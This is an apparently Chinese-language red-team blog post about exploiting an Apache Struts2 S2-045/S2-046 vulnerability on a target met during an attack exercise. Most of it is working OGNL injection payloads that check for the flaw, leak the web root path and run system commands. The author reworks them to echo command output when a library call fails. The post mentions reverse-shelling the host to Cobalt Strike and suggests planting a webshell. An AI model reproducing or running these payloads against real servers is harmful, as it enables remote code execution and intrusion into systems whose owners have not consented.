Struts2另类命令执行

在某次HW遇到了一个Struts2可以获取目录,但无法执行命令
Struts2RCE

流量代理

根据已知信息,现阶段可获取路径,代表该地方确实存在Struts2漏洞。通过将对应流量代理到BurpSuite。

Struts2-流量代理

过程Payload语句

根据代理获取的流量,获取其判断是否存在Struts S2-045(or S2-046)漏洞使用如下语句

1
2
3
4
5
# 判断漏洞是否存在,在响应包中添加头信息,内容为vul:vul
%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vul','vul')}.multipart/form-data

# 判断漏洞是否存在,让服务器直接返回[tttpppppp111]信息
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println('['+'tttpppppp'+'111]')).(#o.close())}"]

返回[tttpppppp111]数据
Struts2-漏洞判断-响应体返回
返回头vul:vul信息
Struts2-漏洞判断-响应头返回
获取目录信息、命令执行使用如下语句

1
2
3
4
5
6
# 目录获取语句
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#path=#req.getRealPath('/')).(#o.println(#path)).(#o.close())}

# 命令执行语句
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

目录获取

Struts2-路径获取
命令执行,截图为本地测试环境所以可成功执行命令。

Struts2-命令执行

通过对目标环境不断测试,发现出问题的语句为

1
org.apache.commons.io.IOUtils

去除问题语句,重写payload,让其可返回cmds参数值

1
2
3
# 去除org.apache.commons.io.IOUtils语句,根据路径获取语句修改,直接返回cmds参数值
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#cmds="testCMD").(#o.println(#cmds)).(#o.close())}

返回cmds参数值testCMD
Struts2-echoCMDS

最终Payload语句

根据上文已经可以直接输出对应数据,只需要将执行命令之后的结果通过该方式访问即可。结合命令执行的Payload语句,最终语句如下

1
2
3
# 完成语句改造,输出命令执行结果
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#cmd='whoami'). (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#re=new java.io.InputStreamReader(#process.getInputStream())).(#ros=new java.io.BufferedReader(#re)).(#o.println(#ros.readLine())).(#o.close())}

命令执行结果输出

Struts2-命令执行输出
上述语句存在一个问题:如果命令执行结果存在多行,需要不断添加(#o.println(#ros.readLine()))。可通过如下语句获取命令执行存在多少行

1
2
#
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#cmd='whoami'). (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#re=new java.io.InputStreamReader(#process.getInputStream())).(#ros=new java.io.BufferedReader(#re)).(#o.println(#ros.lines().count())).(#o.close())}

输出命令执行结果具体行数
Struts2-echoCount
根据查询到的资料,java可直接通过lambda或者collect输出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.ProcessBuilder;
import java.util.stream.Collectors;


public class cmdExec {
public static void main(String[] args) throws IOException {
ProcessBuilder pb = new ProcessBuilder("ls");
Process process = pb.start();
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
reader.lines().forEach(java.lang.System.out::println);
// System.out.println(reader.lines().collect(Collectors.joining()));
}
}

lambda输出
Struts2-lambdaECHO

collect输出会将所有数据去除换行,变成一行输出
Struts2-collectEcho
但是在ognl中无法这样操作,后续直接执行命令将shell反弹到cs,就没有继续深究了。

总结

1.这个算是一个比较奇葩的环境,服务器上lib存在commons.io依赖,但是在调用的出问题。猜测是依赖冲突导致;
2.针对现在能执行命令可结合echo写webshell,如果可出网并且无杀软可直接powershell等方式getshell;
3.针对现在命令执行结果只能输出一行的情况,可以将结果写入到web目录下一个文件中,直接访问获取,但这不是一个好方法。后续可以找个机会再看看ognl表达式。